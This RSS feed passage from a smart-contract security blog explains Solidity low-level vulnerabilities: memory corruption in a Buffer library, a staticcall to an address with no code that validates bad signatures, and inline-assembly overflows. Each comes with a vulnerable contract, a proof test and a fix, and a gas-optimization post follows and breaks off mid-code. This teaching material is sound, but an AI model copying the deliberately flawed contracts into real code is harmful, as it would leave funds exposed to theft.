        <span class="hljs-keyword">return</span> b;
    }

}

<span class="hljs-comment">// test harness</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">BufferTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">Buffer</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">Buffer</span>.<span class="hljs-title">buffer</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_MemoryCorruption</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        Buffer.buffer <span class="hljs-keyword">memory</span> buffer;
        buffer.init(<span class="hljs-number">1</span>);

        <span class="hljs-comment">// `foo` immediately follows buffer.buf in memory</span>
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> foo <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0x01</span>);

        <span class="hljs-comment">// sanity check passes</span>
        <span class="hljs-built_in">assert</span>(<span class="hljs-number">1</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> foo.<span class="hljs-built_in">length</span>);

        <span class="hljs-comment">// append "A" 0x41 (65) to buffer. This gets written to</span>
        <span class="hljs-comment">// the high order byte of `foo.length`!</span>
        buffer.append(<span class="hljs-string">"A"</span>);

        <span class="hljs-comment">// foo.length == 0x4100000000000000000000000000000000000000000000000000000000000001</span>
        <span class="hljs-comment">//            == 29400335157912315244266070412362164103369332044010299463143527189509193072641</span>
        <span class="hljs-comment">// this passes showing the memory corruption</span>
        assertEq(<span class="hljs-number">29400335157912315244266070412362164103369332044010299463143527189509193072641</span>, 
                 foo.<span class="hljs-built_in">length</span>);
    }
}
</code></pre>
<p>Run the test in Foundry's debugger using <code>forge test --match-contract BufferTest --debug test_MemoryCorruption</code> and let's examine how this memory corruption happens:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// PC 0x9b6 (2486) executing this line in `Buffer::init`:</span>
<span class="hljs-comment">// mstore(0x40, add(ptr, capacity))</span>
<span class="hljs-comment">// updates the Free Memory Pointer Address (FMPA) to 0x120</span>
MSTORE(<span class="hljs-number">0x40</span>, <span class="hljs-number">0x120</span>)
Memory: [<span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x120</span>, <span class="hljs-comment">// FMPA updated</span>
         <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>,
         <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x20</span>,
         <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>]

<span class="hljs-comment">// PC 0x697 (1687) executing this line in `BufferTest::test_Mem...`</span>
<span class="hljs-comment">// bytes memory foo = new bytes(0x01);</span>
<span class="hljs-comment">// writes `foo.length` to 0x120</span>
MSTORE(<span class="hljs-number">0x120</span>, <span class="hljs-number">0x01</span>)
Memory: [<span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x120</span>,
         <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>,
         <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x20</span>,
         <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>,
         <span class="hljs-number">0x120</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>] <span class="hljs-comment">// foo.length</span>

<span class="hljs-comment">// PC 0xbad (2989) executing this line in `Buffer::write`</span>
<span class="hljs-comment">// mstore(dest, or(and(mload(dest), not(mask)), data))</span>
<span class="hljs-comment">// over-writes high-order byte of `foo.length`</span>
MSTORE(<span class="hljs-number">0x101</span>, <span class="hljs-number">0x41</span>)
Memory: [<span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x120</span>,
         <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>,
         <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x20</span>,
         <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>,
         <span class="hljs-number">0x120</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x4100</span>..01] <span class="hljs-comment">// foo.length memory corrupted</span>
</code></pre>
<p>Applying the suggested fix results in <code>foo.length</code> being written to 0x140 which prevents the memory corruption. Similar findings: [<a target="_blank" href="https://solodit.xyz/issues/m-02-due-to-slot-confusion-reserve-amounts-in-the-pump-will-be-corrupted-resulting-in-wrong-oracle-values-code4rena-basin-basin-git">1</a>, <a target="_blank" href="https://solodit.xyz/issues/m-03-due-to-bit-shifting-errors-reserve-amounts-in-the-pump-will-be-corrupted-resulting-in-wrong-oracle-values-code4rena-basin-basin-git">2</a>]</p>
<h2 id="heading-external-call-to-non-existent-contract">External Call To Non-Existent Contract</h2>
<p>When using low-level <code>call</code>, a call to an address without code deployed is always successful. Consider the following code based upon <a target="_blank" href="https://samczsun.com/the-0x-vulnerability-explained/">this</a> real-world mainnet finding:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.25;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Test</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-comment">// external smart contract wallet which verifies a wallet's signature</span>
<span class="hljs-comment">// for a given hash</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IWallet</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isValidSignature</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _hash, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> signature</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-comment">// separate contracts accessed via interfaces</span>
<span class="hljs-comment">// prevents the optimizer from being "too smart", helping</span>
<span class="hljs-comment">// to better approximate real-world execution</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IWalletVerifier</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isValidWalletSignature</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _hash, <span class="hljs-keyword">address</span> walletAddress, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signature</span>)
        <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-comment">// implements vulnerable function used to make external call</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">WalletVerifier</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IWalletVerifier</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isValidWalletSignature</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _hash, <span class="hljs-keyword">address</span> walletAddress, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> signature</span>)
        <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> isValid</span>) </span>{

        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> callInput <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(
            IWallet(walletAddress).isValidSignature.<span class="hljs-built_in">selector</span>,
            _hash,
            signature
        );

        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-keyword">let</span> cdStart <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(callInput, <span class="hljs-number">32</span>)
            <span class="hljs-keyword">let</span> success <span class="hljs-operator">:=</span> <span class="hljs-built_in">staticcall</span>(
                <span class="hljs-built_in">gas</span>(),            <span class="hljs-comment">// forward all gas</span>
                walletAddress,    <span class="hljs-comment">// address of Wallet contract</span>
                cdStart,          <span class="hljs-comment">// pointer to start of input</span>
                <span class="hljs-built_in">mload</span>(callInput), <span class="hljs-comment">// length of input</span>
                cdStart,          <span class="hljs-comment">// write output over input</span>
                <span class="hljs-number">32</span>                <span class="hljs-comment">// output size is 32 bytes</span>
            )

            <span class="hljs-keyword">switch</span> success
            <span class="hljs-keyword">case</span> <span class="hljs-number">0</span> {
                <span class="hljs-comment">// Revert with `Error("WALLET_ERROR")`</span>
                <span class="hljs-comment">/* snip */</span>
                <span class="hljs-keyword">revert</span>(<span class="hljs-number">0</span>, <span class="hljs-number">100</span>)
            }
            <span class="hljs-keyword">case</span> <span class="hljs-number">1</span> {
                <span class="hljs-comment">// Signature is valid if call did not revert and returned true</span>
                isValid <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(cdStart)
            }
        }
        <span class="hljs-keyword">return</span> isValid;
    }
}

<span class="hljs-comment">// test harness</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">CallTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    IWalletVerifier verifier <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> WalletVerifier();

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_EOAAddressCallVerifiesInvalidSig</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> </span>{
        <span class="hljs-keyword">bytes32</span> emptyHash;
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> emptySignature;

        <span class="hljs-keyword">bool</span> returnVal <span class="hljs-operator">=</span> verifier.isValidWalletSignature(emptyHash, <span class="hljs-keyword">address</span>(<span class="hljs-number">0x1234</span>), emptySignature);

        <span class="hljs-built_in">assert</span>(returnVal);
    }
}
</code></pre>
<p>The function <code>WalletVerifier::isValidWalletSignature</code> verifies a signature by calling an external wallet smart contract. But if this function is called passing the address of an Externally Owned Account (EOA - an ordinary user wallet) then it will always return true as:</p>
<ul>
<li><p>the <code>staticcall</code> to <code>walletAddress</code> will always return 1 for EOA addresses</p>
</li>
<li><p>the <code>staticcall</code> specifies the output from the external call should be written over the input memory</p>
</li>
<li><p>in this case there is no external output hence the inputs will not be overwritten</p>
</li>
<li><p>hence the <code>mload</code> will return valid data which will be converted into <code>true</code> resulting in the return variable <code>isValid</code> being set to <code>true</code></p>
</li>
</ul>
<p>This would allow an invalid signature to be verified for EOA accounts. To resolve this vulnerability when using low-level calls:</p>
<ol>
<li>before making the external call, the size of the contract should be checked to ensure it has code:</li>
</ol>
<pre><code class="lang-solidity"><span class="hljs-keyword">if</span> iszero(extcodesize(walletAddress)) {
    <span class="hljs-comment">// Revert with `Error("WALLET_ERROR")`</span>
    <span class="hljs-keyword">revert</span>(<span class="hljs-number">0</span>, <span class="hljs-number">100</span>)
}
</code></pre>
<ol start="2">
<li>if the external call was successful, the length of the returned data should be verified to match the expected length:</li>
</ol>
<pre><code class="lang-solidity"><span class="hljs-keyword">if</span> iszero(eq(returndatasize(), <span class="hljs-number">32</span>)) {
    <span class="hljs-comment">// Revert with `Error("WALLET_ERROR")`</span>
    <span class="hljs-keyword">revert</span>(<span class="hljs-number">0</span>, <span class="hljs-number">100</span>)
}
</code></pre>
<h2 id="heading-overflow-underflow-during-inline-assembly">Overflow / Underflow During Inline Assembly</h2>
<p>Using inline assembly for opcodes such as <code>add</code> and <code>mult</code> does not offer any overflow/underflow protection which normal Solidity provides. Consider the following simplified stand-alone example based on this unique <a target="_blank" href="https://solodit.xyz/issues/m-3-adversary-can-overwrite-function-selector-in-_patchamountandcall-due-to-inline-assembly-lack-of-overflow-protection-sherlock-real-wagmi-2-git">audit contest finding</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.25;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Test</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-comment">// separate contracts accessed via interfaces</span>
<span class="hljs-comment">// prevents the optimizer from being "too smart", helping</span>
<span class="hljs-comment">// to better approximate real-world execution</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDexPair</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapQuote</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amountToSwap</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-comment">// represents a decentralized exchange pair between</span>
<span class="hljs-comment">// two assets</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DexPair</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IDexPair</span> </span>{
    <span class="hljs-comment">// given an amount of input tokens</span>
    <span class="hljs-comment">// always return +1 output tokens</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapQuote</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amountToSwap</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> outputTokens</span>) </span>{
        <span class="hljs-keyword">assembly</span> {
            outputTokens <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(amountToSwap, <span class="hljs-number">1</span>)
        }
    }
}

<span class="hljs-comment">// test harness</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">OverflowTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    IDexPair dexPair <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> DexPair();

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_SwapQuoteOverflow</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// correct: swapping 1 token returns 2 tokens</span>
        assertEq(<span class="hljs-number">2</span>, dexPair.getSwapQuote(<span class="hljs-number">1</span>));

        <span class="hljs-comment">// incorrect: swapping max returns 0 due to overflow</span>
        assertEq(<span class="hljs-number">0</span>, dexPair.getSwapQuote(<span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>));
    }
}
</code></pre>
<p>In order to safeguard against overflow when using <code>add</code> inline assembly one option is to manually check that the result is not smaller than the input:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapQuote</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amountToSwap</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> outputTokens</span>) </span>{
    <span class="hljs-keyword">assembly</span> {
        outputTokens <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(amountToSwap, <span class="hljs-number">1</span>)

        <span class="hljs-comment">// detect overflow if outputTokens &lt; amountToSwap</span>
        <span class="hljs-keyword">if</span> <span class="hljs-built_in">lt</span>(outputTokens, amountToSwap) { <span class="hljs-keyword">revert</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>) }
    }
}
</code></pre>
<p>Appropriate <a target="_blank" href="https://www.youtube.com/watch?v=UeonlhTDn1g">overflow/underflow checks</a> also need to be implemented for multiplication and subtraction when using inline assembly.</p>
<h2 id="heading-uint128-overflow-evades-detection-as-in-line-assembly-uses-256-bits">Uint128 Overflow Evades Detection As In-Line Assembly Uses 256 Bits</h2>
<p>Another similar yet more subtle overflow vulnerability can exist when instead of using <code>uint256</code> the previous example solidity code uses <code>uint128</code> or smaller - the recommended overflow check mitigation fails to capture this overflow! Consider the following simplified stand-alone example based upon this <a target="_blank" href="https://solodit.xyz/issues/risk-of-token-theft-due-to-unchecked-type-conversion-trailofbits-none-primitive-hyper-pdf">actual audit finding</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.25;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Test</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-comment">// separate contracts accessed via interfaces</span>
<span class="hljs-comment">// prevents the optimizer from being "too smart", helping</span>
<span class="hljs-comment">// to better approximate real-world execution</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDexPair</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapQuoteUint128</span>(<span class="hljs-params"><span class="hljs-keyword">uint128</span> amountToSwap</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint128</span> outputTokens</span>)</span>;
}

<span class="hljs-comment">// represents a decentralized exchange pair between</span>
<span class="hljs-comment">// two assets</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DexPair</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IDexPair</span> </span>{
    <span class="hljs-comment">// given an amount of input tokens always return +1 output tokens</span>
    <span class="hljs-comment">// capping max input to uint128 and using explicit code to</span>
    <span class="hljs-comment">// detect overflow </span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapQuoteUint128</span>(<span class="hljs-params"><span class="hljs-keyword">uint128</span> amountToSwap</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint128</span> outputTokens</span>) </span>{
        <span class="hljs-keyword">assembly</span> {
            outputTokens <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(amountToSwap, <span class="hljs-number">1</span>)

            <span class="hljs-comment">// detect overflow if outputTokens &lt; amountToSwap</span>
            <span class="hljs-keyword">if</span> <span class="hljs-built_in">lt</span>(outputTokens, amountToSwap) { <span class="hljs-keyword">revert</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>) }
        }
    }
}

<span class="hljs-comment">// test harness</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">OverflowTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    IDexPair dexPair <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> DexPair();

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_SwapQuoteUint128Overflow</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// correct: swapping 1 token returns 2 tokens</span>
        assertEq(<span class="hljs-number">2</span>, dexPair.getSwapQuoteUint128(<span class="hljs-number">1</span>));

        <span class="hljs-comment">// incorrect: swapping max uint128 returns 0 due to overflow</span>
        <span class="hljs-comment">// assembly overflow check fails to capture this!</span>
        assertEq(<span class="hljs-number">0</span>, dexPair.getSwapQuoteUint128(<span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint128</span>).<span class="hljs-built_in">max</span>));
    }
}
</code></pre>
<p>Even though <code>DexPair::getSwapQuoteUint128</code> restricts both its input and output parameters to <code>uint128</code> , the in-line assembly always operates on 256 bit values. Hence:</p>
<ul>
<li><p>the <code>add</code> opcode always returns a 256 bit value</p>
</li>
<li><p>even if <code>type(uint128).max</code> is passed as input for <code>amountToSwap</code>, inside the in-line assembly block the value of <code>outputTokens</code> will be represented in 256 bits and therefore greater than the input <code>amountToSwap</code></p>
</li>
<li><p>therefore the overflow detection using the <code>lt</code> opcode will fail to detect the overflow, but the overflow still occurs after the in-line assembly block causing the function to return an incorrect value</p>
</li>
</ul>
<p>One option when working with numbers smaller than <code>uint256</code> is to use <code>addmod</code> to prevent the use of the full 256 bits:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapQuoteUint128</span>(<span class="hljs-params"><span class="hljs-keyword">uint128</span> amountToSwap</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint128</span> outputTokens</span>) </span>{
    <span class="hljs-keyword">assembly</span> {
        <span class="hljs-comment">// use addmod(a,b,N) with N = type(uint128).max</span>
        <span class="hljs-comment">// to prevent use of full 256 bits</span>
        outputTokens <span class="hljs-operator">:=</span> <span class="hljs-built_in">addmod</span>(amountToSwap, <span class="hljs-number">1</span>, <span class="hljs-number">340282366920938463463374607431768211455</span>)

        <span class="hljs-comment">// detect overflow if outputTokens &lt; amountToSwap</span>
        <span class="hljs-keyword">if</span> <span class="hljs-built_in">lt</span>(outputTokens, amountToSwap) { <span class="hljs-keyword">revert</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>) }
    }
}
</code></pre>
<p>Another option to detect these more subtle overflows is to include a check using normal Solidity after the in-line assembly block:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapQuoteUint128</span>(<span class="hljs-params"><span class="hljs-keyword">uint128</span> amountToSwap</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint128</span> outputTokens</span>) </span>{
    <span class="hljs-keyword">assembly</span> {
        outputTokens <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(amountToSwap, <span class="hljs-number">1</span>)
    }

    <span class="hljs-comment">// detect overflow outside in-line assembly to</span>
    <span class="hljs-comment">// prevent uint128 overflow not being detected due to</span>
    <span class="hljs-comment">// in-line assembly working with 256 bit values</span>
    <span class="hljs-built_in">require</span>(outputTokens <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amountToSwap, <span class="hljs-string">"Overflow detected!"</span>);
}
</code></pre>
<h2 id="heading-additional-resources">Additional Resources</h2>
<ul>
<li><a target="_blank" href="https://github.com/AmadiMichael/LowLevelVulnerabilities">Low level vulnerabilities</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Solidity Assembly Gas Optimized Keccak256]]></title><description><![CDATA[Solidity smart contracts often use keccak256 to hash a number of input parameters; the standard way of calling this function looks like this:
function getKeccak256(uint256 a, uint256 b, uint256 c) external pure returns(bytes32 result) {
    result = ...]]></description><link>https://dacian.me/solidity-assembly-gas-optimized-keccak256</link><guid isPermaLink="true">https://dacian.me/solidity-assembly-gas-optimized-keccak256</guid><category><![CDATA[Solidity]]></category><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Tue, 21 May 2024 11:52:14 GMT</pubDate><content:encoded><![CDATA[<p>Solidity smart contracts often use <code>keccak256</code> to hash a number of input parameters; the standard way of calling this function looks like this:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getKeccak256</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> c</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>) </span>{
    result <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(a,b,c));
}
</code></pre>
<p>However it is possible to reduce the gas cost of computing the hash by ~42% using the following assembly:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getKeccak256</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> c</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>) </span>{
    <span class="hljs-keyword">assembly</span> {
        <span class="hljs-keyword">let</span> mPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-number">0x40</span>)
        <span class="hljs-built_in">mstore</span>(mPtr, a)
        <span class="hljs-built_in">mstore</span>(<span class="hljs-built_in">add</span>(mPtr, <span class="hljs-number">0x20</span>), b)
        <span class="hljs-built_in">mstore</span>(<span class="hljs-built_in">add</span>(mPtr, <span class="hljs-number">0x40</span>), c)

        result <span class="hljs-operator">:=</span> <span class="hljs-built_in">keccak256</span>(mPtr, <span class="hljs-number">0x60</span>)
    }
}
</code></pre>
<p>Let's examine how and why this gas saving occurs!</p>
<h3 id="heading-prerequisite-knowledge">Prerequisite Knowledge</h3>
<p>In order to understand the next section you'll need to have completed at least Section 1 of Updraft's <a target="_blank" href="https://updraft.cyfrin.io/courses/formal-verification">Assembly &amp; Formal Verification course</a> or already have equivalent knowledge of:</p>
<ul>
<li><p><a target="_blank" href="https://www.evm.codes/">EVM Opcodes</a></p>
</li>
<li><p><a target="_blank" href="https://faizannehal.medium.com/understanding-the-stack-based-architecture-of-evm-af45dc9819f2">EVM Stack Machine</a></p>
</li>
<li><p>Solidity's <a target="_blank" href="https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html">Free Memory Pointer</a></p>
</li>
<li><p><a target="_blank" href="https://book.getfoundry.sh/forge/debugger">Foundry's Debugger</a></p>
</li>
</ul>
<h3 id="heading-foundry-testing-code">Foundry Testing Code</h3>
<p>To examine the execution of both functions we'll use the following stand-alone Foundry test contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.25;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-comment">// separate contracts for each implementation then accessing</span>
<span class="hljs-comment">// implementations via an interface in the test contract</span>
<span class="hljs-comment">// prevents the optimizer from being "too smart", helping</span>
<span class="hljs-comment">// to better approximate real-world execution</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IGasImpl</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getKeccak256</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> c</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GasImplNormal</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IGasImpl</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getKeccak256</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> c</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>) </span>{
        result <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(a,b,c));
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GasImplAssembly</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IGasImpl</span> </span>{
